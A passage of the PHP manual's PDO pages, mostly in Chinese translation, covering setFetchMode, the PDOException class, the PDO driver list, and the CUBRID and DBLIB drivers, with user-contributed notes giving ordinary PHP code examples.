  • PDO::ATTR_CURSOR_NAME （Firebird 和 ODBC 特性）： 为 UPDATE ... WHERE CURRENT OF 设置游标名称。

请注意，驱动特定的属性不得与其他驱动程序一起使用。

参数

attribute

要修改的属性。

value

设置 attribute 的值，属性的不同导致需要的类型也会不同。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • PDO::getAttribute() - 取回一个数据库连接的属性
  • PDO::setAttribute() - 设置属性
  • PDOStatement::getAttribute() - 检索语句属性

User Contributed Notes

There are no user contributed notes for this page.


为语句设置默认的获取模式

  • ? PDOStatement::setAttribute
  • PDOException ?
  • PHP Manual
  • PDOStatement
  • 为语句设置默认的获取模式

PDOStatement::setFetchMode

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.0)

PDOStatement::setFetchMode — 为语句设置默认的获取模式

说明

public PDOStatement::setFetchMode(int $mode): bool
public PDOStatement::setFetchMode(int $mode = PDO::FETCH_COLUMN, int $colno): bool
public PDOStatement::setFetchMode(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs = null): bool
public PDOStatement::setFetchMode(int $mode = PDO::FETCH_INTO, object $object): bool

参数

mode

获取模式必须是 PDO::FETCH_* 系列常量中的一个。

colno

列号。

class

类名。

constructorArgs

构造方法参数。

object

对象。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 设置获取模式

以下示例演示了 PDOStatement::setFetchMode() 如何更改 PDOStatement 对象的默认获取模式。

<?php
$stmt = $dbh->query('SELECT name, colour, calories FROM fruit');
$stmt->setFetchMode(PDO::FETCH_NUM);
foreach ($stmt as $row) {
print $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
}

以上示例的输出类似于：

apple   red     150
banana  yellow  250
orange  orange  300
kiwi    brown   75
lemon   yellow  25
pear    green   150

User Contributed Notes

Kats 24-Aug-2017 09:02
Something very helpful is knowing how to access namespaces from the function. It took me a minute (and Google) to figure out. The ::class property is going to be your best friend in this case.

<?php
$stmt->setFetchMode(PDO::FETCH_CLASS, Name\Space\Class::class);
?>
Dormilich at netscape dot net 13-Jul-2010 02:16
if you want to fetch your result into a class (by using PDO::FETCH_CLASS) and want the constructor to be executed *before* PDO assings the object properties, you need to use the PDO::FETCH_PROPS_LATE constant:

<?php
$stmt = $pdo->prepare("your query");

$stmt->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, "className", $constructorArguments);

# pass parameters, if required by the query
$stmt->execute($parameters);

foreach ($stmt as $row)
{
    // do something with (each of) your object
}
?>
stein_AT_rhrk.uni-kl.de 19-Nov-2007 04:04
Some note on PDO :: FETCH_CLASS | PDO :: FETCH_CLASSTYPE

It took me some time, to realize, that you can not use this fetch-mode in $stm->setFetchMode(), when you want to retrieve objects from the database whereas the type is defined by the first column in the resultset.
You have to define this mode directly in the $stm->fetch() method.

To make it clearer:

$stm = $pdo->query("SELECT * FROM `foo`);
$stm->setFetchMode(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

$object = $stm->fetch();

Will not return the expected object, whereas

$stm = $pdo->query("SELECT * FROM `foo`");

$object = $stm->fetch(FETCH_CLASS | PDO :: FETCH_CLASSTYPE);

will give you the object of the class, defined in the first column of `foo`.
matt at kynx dot org 18-Feb-2006 03:13
To fetch the rows into an existing instance of a class, use PDO::FETCH_INTO and pass the object as the second parameter.

The class _must_ have the column names declared as public members, or the script will die. But overloading with __set() and __get() lets it handle any column your query throws at it.

Set the fetch mode right after you call prepare(). It appears you _must_ use execute() - fetch() won't work. A small example, adapted from ext/pdo/tests/pdo_025.phpt:

<?php
class Test
{
    protected $cols;

    function __set($name, $value) {
        $this->cols[$name] = $value;
    }

    function __get($name) {
        return $this->cols[$name];
    }
}

$obj = new Test();
$db = PDOTest::factory();
$stmt = $db->prepare("select * from test");
$stmt->setFetchMode(PDO::FETCH_INTO, $obj);
$stmt->execute();

foreach ($stmt as $a) {
    print_r($a);
}

print_r($obj); // contains the same values as the last iteration above
?>
Dariusz Kielar 12-Feb-2006 10:55
PDO::FETCH_CLASS may be used only with this method and it takes up to three parameters then:
 - int mode
 - string className
 - array constructorArgs (optional)

<?php
$stmt = $pdo -> query('your query');
$stmt -> setFetchMode(PDO::FETCH_CLASS, 'yourClass', array(0 => false));

while($row = $stmt -> fetch())
{
   // $row is an object of "yourClass" class
}
$stmt -> closeCursor();
?>

Note also that the constructor is called AFTER the data is set on the object.


PDOException 异常类

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

代表一个由 PDO 产生的错误。在自己的代码不应抛出一个 PDOException 异常。关于 PHP 异常的更多信息请参见 异常 。

类摘要

class PDOException extends RuntimeException {
/* 属性 */
protected int|string $code;
public ?array $errorInfo = null;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

errorInfo

相当于 PDO::errorInfo() 或 PDOStatement::errorInfo()

code

SQLSTATE 错误码。用 Exception::getCode() 来访问。

User Contributed Notes

jesse dot chisholm at gmail dot com 12-Jul-2015 02:27
In response to the 15-May-2010 07:45 note from: samuelelliot+php dot net at gmail dot com

Since the most base class Exception takes three arguments, and the previous exception is not the first, ...
Since inherited classes to not implicitly call the parent constructor, ...

I recommend changing his constructor to this:

    public function __construct(string $message = "", int $code = 0, PDOException $e = null)
    {
        // in case they call: new MyException($somePDOException);
        // instead of following the interface.
        //
        if (is_subclass_of($message, PDOException))
        {
            $e = $message;
            $code = $e->getCode();
            $message = $e->getMessage();
        }

        // Let PDOException do its normal thing
        //
        parent::__construct($message, $code, $e);

        // Now to correct the code number.
        //
        $state = $this->getMessage();
        if(!strstr($state, 'SQLSTATE['))
            $state = $this->getCode();
        if(strstr($state, 'SQLSTATE['))
        {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $state, $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
wes at nospampls dot org 20-Jan-2015 04:28
the sqlstate is an hex integer (as string)
if you want to wrap pdoexception, use

throw new MyDBException($pdoe->getMessage(), hexdec($pdoe->getCode()), $pdoe);
radu.potop at wooptoo.com 27-Mar-2014 07:56
Since PDOException returns the error code as a string, you need a constructor like the one below if you wish to rethrow the PDOException as a custom exception.
This constructor does not call the parent::__construct which will enforce the int type on the error code, but set the message and code as properties directly on the custom exception object.

<?php

class CustomException extends PDOException {

    /**
     * Override constructor and set message and code properties.
     * Workaround PHP BUGS #51742, #39615
     */
    public function __construct($message=null, $code=null) {
        $this->message = $message;
        $this->code = $code;
    }

}
samuelelliot+php dot net at gmail dot com 15-May-2010 12:45
PDOException has two methods for retrieving information about an error. When interpreting the PDOException I run into a problem, the error code that is provided by getCode() is meaningless.  I have come up with a method to make both the error code and message more usable.

A bad username or password would normally provide the following:

CODE : 0
Message : "SQLSTATE[28000] [1045] Access denied for user 'user'@'example.com' (using password: YES)"

Using my extended exception class provides:

CODE: "28000"
Message: "Access denied for user 'user'@'example.com' (using password: YES)"

<?php
class pdoDbException extends PDOException {

    public function __construct(PDOException $e) {
        if(strstr($e->getMessage(), 'SQLSTATE[')) {
            preg_match('/SQLSTATE\[(\w+)\] \[(\w+)\] (.*)/', $e->getMessage(), $matches);
            $this->code = ($matches[1] == 'HT000' ? $matches[2] : $matches[1]);
            $this->message = $matches[3];
        }
    }
}
?>

To walk threw the method; first the beginning of the message is checked for the SQLSTATE text.  If the text is present, message is then parsed to pull the ANSI code, the SQL specific code, and the message.  The parsed values are stored in there respective variables.  The error code variable stores the ANSI code, unless ANSI is 'HT000' (unmapped error code) then SQL specific code is used.

Using this class is easy; when interacting with PDO use a try catch set of blocks, as follows:

<?php
try {
    $pdo = new PDO($dns, $username, $password, $options);
} catch (PDOException $e) {
    throw new pdoDbException($e);
}
?>

Now you can use the normal error methods to retrieve the real error code and message.

<?php
echo $err->getCode(); // Outputs: "28000"
echo $err->getMessage(); // Outputs: "Access denied for user 'user'@'example.com' (using password: YES)"
?>

If you decide to use this code, be aware that the error code is a string (as apposed to PHP standard errors which are integers) as some error codes are alphanumeric.
Typer85 at gmail dot com 22-Jan-2010 06:13
Here is something interesting regarding a PDOException and it involves some of the annoyances that can be associated with PHP's dynamic nature.

PDOException extends from RuntimeException, which in return extends from Exception. As such, it has access to the $code Protected Class Variable, which represents the Exception's code as an Integer (duh!) and can be accessed externally using the Exception::getCode Method.

Here is the interesting part. PDOException actually redefines $code as a String and not an Integer because for its case, $code actually contains the Exception's SQL State, which is composed of characters and numbers.

It is actually documented in the manual that $code is a String and not an Integer but it might not be immedietley clear because it is hidden by the fact that PDOException::getCode is documented to return an Integer and not a String!

Some developers like to catch a PDOException and rethrow it as a different Exception if they wrap their database calls in an external library. For example, consider the following code:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // PHP Fatal Error. Second Argument Has To Be An Integer, But PDOException::getCode Returns A
    // String.
    throw new MyDatabaseException( $Exception->getMessage( ) , $Exception->getCode( ) );
}

?>

Be careful in that you have to typecast the value returned by PDOException::getCode to an Integer BEFORE you pass it as an Argument to your Exception's Constructor. The following will work:

<?php

try {
    $PDO = new PDO( '...' ); // PDO Driver DSN. Throws A PDOException.
}
catch( PDOException $Exception ) {
    // Note The Typecast To An Integer!
    throw new MyDatabaseException( $Exception->getMessage( ) , (int)$Exception->getCode( ) );
}

?>

Hope this will save some developers some frustrating hours from an otherwise enjoyable job :)

Good Luck,


PDO 驱动

Table of Contents

  • CUBRID (PDO)
  • MS SQL Server (PDO)
  • Firebird (PDO)
  • IBM (PDO)
  • Informix (PDO)
  • MySQL (PDO)
  • MS SQL Server (PDO)
  • Oracle (PDO)
  • ODBC and DB2 (PDO)
  • PostgreSQL (PDO)
  • SQLite (PDO)

下列驱动目前实现了 PDO 接口：

驱动名称 | 支持的数据库
PDO_CUBRID | Cubrid
PDO_DBLIB | FreeTDS / Microsoft SQL Server / Sybase
PDO_FIREBIRD | Firebird
PDO_IBM | IBM DB2
PDO_INFORMIX | IBM Informix Dynamic Server
PDO_MYSQL | MySQL 3.x/4.x/5.x/8.x
PDO_OCI | Oracle Call Interface
PDO_ODBC | ODBC v3（IBM DB2、unixODBC 和 win32 ODBC）
PDO_PGSQL | PostgreSQL
PDO_SQLITE | SQLite 3 及 SQLite 2
PDO_SQLSRV | Microsoft SQL Server / SQL Azure

User Contributed Notes

fleduc dot perso at gmail dot com 18-Sep-2017 01:33
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in [StackOverflow][1]

https://stackoverflow.com/a/46245990/1330248


CUBRID Functions (PDO_CUBRID)

简介

PDO_CUBRID is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to CUBRID databases.

Note:

Current version of PDO_CUBRID doesn't support persistent connection now.

安装

To build the PDO_CUBRID extension, the CUBRID DBMS must be installed on the same system as PHP. PDO_CUBRID is a » PECL extension, so follow the instructions in PECL 扩展安装 to install the PDO_CUBRID extension. Issue the configure command to point to the location of the CUBRID base dir as follows:

   $ ./configure --with-pdo-cubrid=/path/to/CUBRID[,shared]
The configure command defaults to the value of the CUBRID environment variable.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。 Detailed information about installation on Linux and Windows manually, please read build-guide.html in PECL package CUBRID for reference.

Features

PDO_CUBRID Features
Feature | Description
Scrollable cursors | PDO_CUBRID supports scrollable cursors. The default cursor type is forward only, and you can use parameter driver_options in PDO::prepare() to change cursor type.
Timeout | PDO_CUBRID supports sql statement execution timeout setting; You can use PDO::setAttribute() to set timeout value.
Autocommit_mode and Transaction PDO_CUBRID supports both autocommit_mode and transaction, and autocommit_mode is enabled by default. You can use PDO::setAttribute() to change its state.

If you use PDO::beginTransaction() to begin a transaction, it will disable autocommit_mode automatically and restore it after PDO::commit() or PDO::rollBack(). Note that before disabling the autocommit_mode, any pending work is automatically committed.

Multiple SQL Statements | PDO_CUBRID supports Multiple SQL statements. Multiple SQL statements are separated by semicolons (;)
Schema Information | PDO_CUBRID implements a function PDO::cubrid_schema() to get schema information.
LOBs PDO_CUBRID supports BLOB/CLOB data type. The LOB in PDO is represented as a stream, so you can insert LOBs by binding a stream, and get LOBs by reading a stream returned by CUBRID PDO. For example:

Example #1 Insert LOBs in CUBRID PDO

<?php
$fp = fopen('lob_test.png', 'rb');

$sql_stmt = "INSERT INTO lob_test(name, content) VALUES('lob_test.png', ?)";

$stmt = $dbh->prepare($sql_stmt);
$ret = $stmt->bindParam(1, $fp, PDO::PARAM_LOB);
$ret = $stmt->execute();
?>

Example #2 Fetch LOBs in CUBRID PDO

<?php
$sql_stmt = "SELECT content FROM lob_test WHERE name='lob_test.png'";

$stmt = $dbh->prepare($sql_stmt);
$stmt->execute();
$result = $stmt->fetch(PDO::FETCH_NUM);

header("Content-Type: image/png");
fpassthru($result[0]);
?>
Column meta The PDOStatement::getColumnMeta() in CUBRID PDO will return an associative array containing the following values:
  • type
  • name
  • table
  • def
  • precision
  • scale
  • not_null
  • auto_increment
  • unique_key
  • multiple_key
  • primary_key
  • foreign_key
  • reverse_index
  • reverse_unique
Collection Data Type PDO_CUBRID supports SET/MULTISET/SEQUENCE data type. If you don't specify data type, the default data type is char,for example:

Example #3 Insert set in CUBRID PDO with default data type.

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(VARCHAR))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array("abc","def","ghi");
$ret = $stmt->bindParam(1, $data, PDO::PARAM_NULL);
$ret = $stmt->execute();
var_Dump($ret);
?>

Example #4 Specify data type when insert set in CUBRID PDO

<?php
$conn_str ="cubrid:dbname=demodb;host=localhost;port=33000";
$cubrid_pdo = new PDO($conn_str, 'dba', '');

$cubrid_pdo->exec("DROP TABLE if exists test_tbl");
$cubrid_pdo->exec("CREATE TABLE test_tbl (col_1 SET(int))");

$sql_stmt_insert = "INSERT INTO test_tbl VALUES (?);";
$stmt = $cubrid_pdo->prepare($sql_stmt_insert);
$data = array(1,2,3,4);
$ret = $stmt->bindParam(1, $data, 0,0,"int");
$ret = $stmt->execute();
var_Dump($ret);
?>

CUBRID Bind Data Types:(The fifth parameter of PDOStatement::bindParam):
  • CHAR
  • STRING
  • NCHAR
  • VARNCHAR
  • BIT
  • VARBIT
  • NUMERIC
  • NUMBER
  • INT
  • SHORT
  • BIGINT
  • MONETARY
  • FLOAT
  • DOUBLE
  • DATE
  • TIME
  • DATETIME
  • TIMESTAMP

预定义常量

下列常量由此驱动定义，且仅在扩展编译入 PHP 或在运行时动态载入时可用。另外，使用此驱动时，仅会使用这些驱动特定的常量。使用其他驱动的驱动特定的常量可能会导致不可预见的情况。如果代码可运行于多个驱动，PDO::getAttribute() 可被用于获取 PDO_ATTR_DRIVER_NAME 属性以检查驱动。

The following constants can be used when setting the database attribute. They can be passed to PDO::getAttribute() or PDO::setAttribute().

PDO::CUBRID attribute flags
Constant | Description
PDO::CUBRID_ATTR_ISOLATION_LEVEL | Transaction isolation level for the database connection.
PDO::CUBRID_ATTR_LOCK_TIMEOUT | Transaction timeout in seconds.
PDO::CUBRID_ATTR_MAX_STRING_LENGTH | Read only. The maximum string length for bit, varbit, char, varchar, nchar, nchar varying data types when using CUBRID PDO API.

The following constants can be used when setting the transaction isolation level. They can be passed to PDO::getAttribute() or returned by PDO::setAttribute().

PDO::CUBRID isolation level flags
Constant | Description
PDO::TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | The lowest isolation level (1). A dirty, non-repeatable or phantom read may occur for the tuple and a non-repeatable read may occur for the table as well.
PDO::TRAN_COMMIT_CLASS_COMMIT_INSTANCE | A relatively low isolation level (2). A dirty read does not occur, but non-repeatable or phantom read may occur.
PDO::TRAN_REP_CLASS_UNCOMMIT_INSTANCE | The default isolation of CUBRID (3). A dirty, non-repeatable or phantom read may occur for the tuple, but repeatable read is ensured for the table.
PDO::TRAN_REP_CLASS_COMMIT_INSTANCE | A relatively low isolation level (4). A dirty read does not occur, but non-repeatable or phantom read may.
PDO::TRAN_REP_CLASS_REP_INSTANCE | A relatively high isolation level (5). A dirty or non-repeatable read does not occur, but a phantom read may.
PDO::TRAN_SERIALIZABLE | The highest isolation level (6). Problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.

The following constants can be used when getting schema information. They can be passed to PDO::cubrid_schema().

PDO::CUBRID schema flags
Constant | Description
PDO::CUBRID_SCH_TABLE | Get name and type of table in CUBRID.
PDO::CUBRID_SCH_VIEW | Get name and type of view in CUBRID.
PDO::CUBRID_SCH_QUERY_SPEC | Get the query definition of view.
PDO::CUBRID_SCH_ATTRIBUTE | Get the attributes of table column.
PDO::CUBRID_SCH_TABLE_ATTRIBUTE | Get the attributes of table.
PDO::CUBRID_SCH_METHOD | Get the instance method. The instance method is a method called by a class instance. It is used more often than the class method because most operations are executed in the instance.
PDO::CUBRID_SCH_TABLE_METHOD | Get the class method. The class method is a method called by a class object. It is usually used to create a new class instance or to initialize it. It is also used to access or update class attributes.
PDO::CUBRID_SCH_METHOD_FILE | Get the information of the file where the method of the table is defined.
PDO::CUBRID_SCH_SUPER_TABLE | Get the name and type of table which table inherites attributes from.
PDO::CUBRID_SCH_SUB_TABLE | Get the name and type of table which inherites attributes from this table.
PDO::CUBRID_SCH_CONSTRAINT | Get the table constraints.
PDO::CUBRID_SCH_TRIGGER | Get the table triggers.
PDO::CUBRID_SCH_TABLE_PRIVILEGE | Get the privilege information of table.
PDO::CUBRID_SCH_COL_PRIVILEGE | Get the privilege information of column.
PDO::CUBRID_SCH_DIRECT_SUPER_TABLE | Get the direct super table of table.
PDO::CUBRID_SCH_PRIMARY_KEY | Get the table primary key.
PDO::CUBRID_SCH_IMPORTED_KEYS | Get imported keys of table.
PDO::CUBRID_SCH_EXPORTED_KEYS | Get exported keys of table.
PDO::CUBRID_SCH_CROSS_REFERENCE | Get reference relationship of tow tables.

Table of Contents

  • PDO_CUBRID DSN — Connecting to CUBRID databases
  • PDO::cubrid_schema — Get the requested schema information

User Contributed Notes

There are no user contributed notes for this page.


Connecting to CUBRID databases

  • ? CUBRID (PDO)
  • PDO::cubrid_schema ?
  • PHP Manual
  • CUBRID (PDO)
  • Connecting to CUBRID databases

PDO_CUBRID DSN

(PECL PDO_CUBRID >= 8.3.0.0001)

PDO_CUBRID DSN — Connecting to CUBRID databases

说明

The PDO_CUBRID Data Source Name (DSN) is composed of the following elements, delimited by semicolons:

DSN prefix

The DSN prefix is cubrid:.

host

The hostname on which the database server resides.

port

The port on which the database server is running.

dbname

The name of the database.

注释

Note:

When you estalish the connection to CUBRID, you should give username and password except DSN.

示例

Example #1 PDO_CUBRID DSN examples

The following example shows a PDO_CUBRID DSN for connecting to a CUBRID database:

cubrid:host=localhost;port=33000;dbname=demodb

User Contributed Notes

There are no user contributed notes for this page.


Get the requested schema information

  • ? PDO_CUBRID DSN
  • MS SQL Server (PDO) ?
  • PHP Manual
  • CUBRID (PDO)
  • Get the requested schema information

PDO::cubrid_schema

(PECL PDO_CUBRID >= 8.3.0.0001)

PDO::cubrid_schema — Get the requested schema information

说明

public PDO::cubrid_schema(int $schema_type, string $table_name = ?, string $col_name = ?): array

This function is used to get the requested schema information from database. You have to designate table_name, if you want to get information on certain table, col_name, if you want to get information on certain column (can be used only with PDO::CUBRID_SCH_COL_PRIVILEGE).

The result of this function is returned as a two-dimensional array (column (associative array) * row (numeric array)). The following tables shows types of schema and the column structure of the result array to be returned based on the schema type.

Result Composition of Each Type
Schema | Column Number | Column Name | Value
PDO::CUBRID_SCH_TABLE | 1 | NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_VIEW | 1 | NAME |
 | 2 | TYPE | 1:view
PDO::CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
PDO::CUBRID_SCH_ATTRIBUTE / PDO::CUBRID_SCH_TABLE_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
PDO::CUBRID_SCH_METHOD / PDO::CUBRID_SCH_TABLE_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
PDO::CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
PDO::CUBRID_SCH_SUPER_TABLE / PDO::CUBRID_SCH_DIRECT_SUPER_TABLE / PDO::CUBRID_SCH_SUB_TABLE | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system table 1:view 2:table
PDO::CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
PDO::CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
PDO::CUBRID_SCH_TABLE_PRIVILEGE / PDO::CUBRID_SCH_COL_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
PDO::CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
PDO::CUBRID_SCH_IMPORTED_KEYS / PDO::CUBRID_SCH_EXPORTED_KEYS / PDO::CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

参数

schema_type

Schema type that you want to know.

table_name

Table you want to know the schema of.

col_name

Column you want to know the schema of.

返回值

Array containing the schema information, when process is successful;

FALSE, when process is unsuccessful

示例

Example #1 A PDO::cubrid_schema() example

This example shows how to get primary key and foreign keys of table game.

<?php
$pk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_PRIMARY_KEY, "game");
print_r($pk_list);

$fk_list = $dbh->cubrid_schema(PDO::CUBRID_SCH_IMPORTED_KEYS, "game");
print_r($fk_list);
?>

以上示例会输出：

Result:
Array
(
    [0] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => athlete_code
            [KEY_SEQ] => 3
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [1] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => event_code
            [KEY_SEQ] => 2
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

    [2] => Array
        (
            [CLASS_NAME] => game
            [ATTR_NAME] => host_year
            [KEY_SEQ] => 1
            [KEY_NAME] => pk_game_host_year_event_code_athlete_code
        )

)
Array
(
    [0] => Array
        (
            [PKTABLE_NAME] => athlete
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => athlete_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_athlete_code
            [PK_NAME] => pk_athlete_code
        )

    [1] => Array
        (
            [PKTABLE_NAME] => event
            [PKCOLUMN_NAME] => code
            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => event_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_event_code
            [PK_NAME] => pk_event_code
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Microsoft SQL Server and Sybase Functions (PDO_DBLIB)

简介

PDO_DBLIB is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Microsoft SQL Server and Sybase databases through the FreeTDS library.

This extension is not available anymore on Windows.

On Windows, you should use SqlSrv, an alternative driver for MS SQL is available from Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx .

If it is not possible to use SqlSrv, you can use the PDO_ODBC driver to connect to Microsoft SQL Server and Sybase databases, as the native Windows DB-LIB is ancient, thread un-safe and no longer supported by Microsoft.

Table of Contents

  • PDO_DBLIB DSN — Connecting to Microsoft SQL Server and Sybase databases

User Contributed Notes

Fabian G 22-Aug-2018 09:23
Instead of using Mssql or DBLib extension you should use the official extensions from Microsoft from here: https://github.com/Microsoft/msphpsql
fleduc dot perso at gmail dot com 18-Sep-2017 01:29
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in StackOverflow

https://stackoverflow.com/a/46245990/1330248
Vic L 23-Feb-2017 05:59
FYI: PDO dblib module (pdo_dblib.so) was installed when I installed php-mssql in CentOS 7.  I thought php-mssql would just include the soon to be deprecated mssql PHP functions but it also contains the PDO connector.  After installing this I'm able to connect to our MSSQL 2014 DB via PDO!
Johankasselman at live dot com 02-Oct-2015 01:32
Hi All, I'wrote a class to connect to MSSQL/Azure databases with Transaction support.

Hope this can help anyone!

<?php
/**
*    @author     Johan Kasselman <johankasselman@live.com>
*    @since         2015-09-28    V1
*
*/

class pdo_dblib_mssql{

    private $db;
       private $cTransID;
       private $childTrans = array();

    public function __construct($hostname, $port, $dbname, $username, $pwd){

        $this->hostname = $hostname;
        $this->port = $port;
        $this->dbname = $dbname;
        $this->username = $username;
        $this->pwd = $pwd;

        $this->connect();

    }

    public function beginTransaction(){

        $cAlphanum = "AaBbCc0Dd1EeF2fG3gH4hI5iJ6jK7kLlM8mN9nOoPpQqRrSsTtUuVvWwXxYyZz";
        $this->cTransID = "T".substr(str_shuffle($cAlphanum), 0, 7);

        array_unshift($this->childTrans, $this->cTransID);

        $stmt = $this->db->prepare("BEGIN TRAN [$this->cTransID];");
        return $stmt->execute();

    }

    public function rollBack(){

        while(count($this->childTrans) > 0){
            $cTmp = array_shift($this->childTrans);
            $stmt = $this->db->prepare("ROLLBACK TRAN [$cTmp];");
            $stmt->execute();
        }

        return $stmt;
    }

    public function commit(){

        while(count($this->childTrans) > 0){
            $cTmp = array_shift($this->childTrans);
            $stmt = $this->db->prepare("COMMIT TRAN [$cTmp];");
            $stmt->execute();
        }

        return  $stmt;
    }

    public function close(){
        $this->db = null;
    }

    public function connect(){

        try {
            $this->db = new PDO ("dblib:host=$this->hostname:$this->port;dbname=$this->dbname", "$this->username", "$this->pwd");

        } catch (PDOException $e) {
            $this->logsys .= "Failed to get DB handle: " . $e->getMessage() . "\n";
        }

    }

}

?>
ian at helastel dot com 17-Jul-2012 03:27
For people with issues inserting UTF-8 / Unicode data using DBLIB, you can't do this natively - but you can workaround the problem by converting the data first.

e.g. inserting into a nvarchar column with collation Latin1_General_CI_AS

...
$res = $db->prepare($sql);
$res->bindValue(':value', iconv('UTF-8', 'ISO8859-1', $value);
...
support at converters dot ru 25-Jan-2006 05:48
If You work with MSSQL Server 7.0/2000/... under Windows and use non latin Encoding then better To use PDO_MSSQL until PDO_ODBC bugs will be fixed (MSSQL ext far more stable and usabe for PHP versions <=5.1.2).
If your MSSQL connection use strings in OEM encoding (cp866 for russian charset)

1. Run Microsoft Server/Client Network Utility on work PC and UNCHECK "DBLibrary options"/"Automatic ANSI to OEM conversion"

2. Restart Web server if needed.
graham1 dot simpson at hsbcib dot com 08-Sep-2005 12:19
There is currently little sybase related PDO docs out there. The ones that I found often mention a spec for a dsn that is invalid. Here's how I am currently connecting to sybase ASE:

1. Compile up freetds http://www.freetds.org on top of open client;
2. Add the PDO and PD_DBLIB modules to php 5 as per the documentation; Note: I'm currently using the PDO-beta and PDO_DBLIB-beta;
3. Check mods installed ok using "pear list" and "php -m";

The documentation often says to use "sybase:" as your DSN, this doesn't work. Use "dblib:" instead. Here's an example:

<?php
  try {
    $hostname = "myhost";
    $port = 10060;
    $dbname = "tempdb";
    $username = "dbuser";
    $pw = "password";
    $dbh = new PDO ("dblib:host=$hostname:$port;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
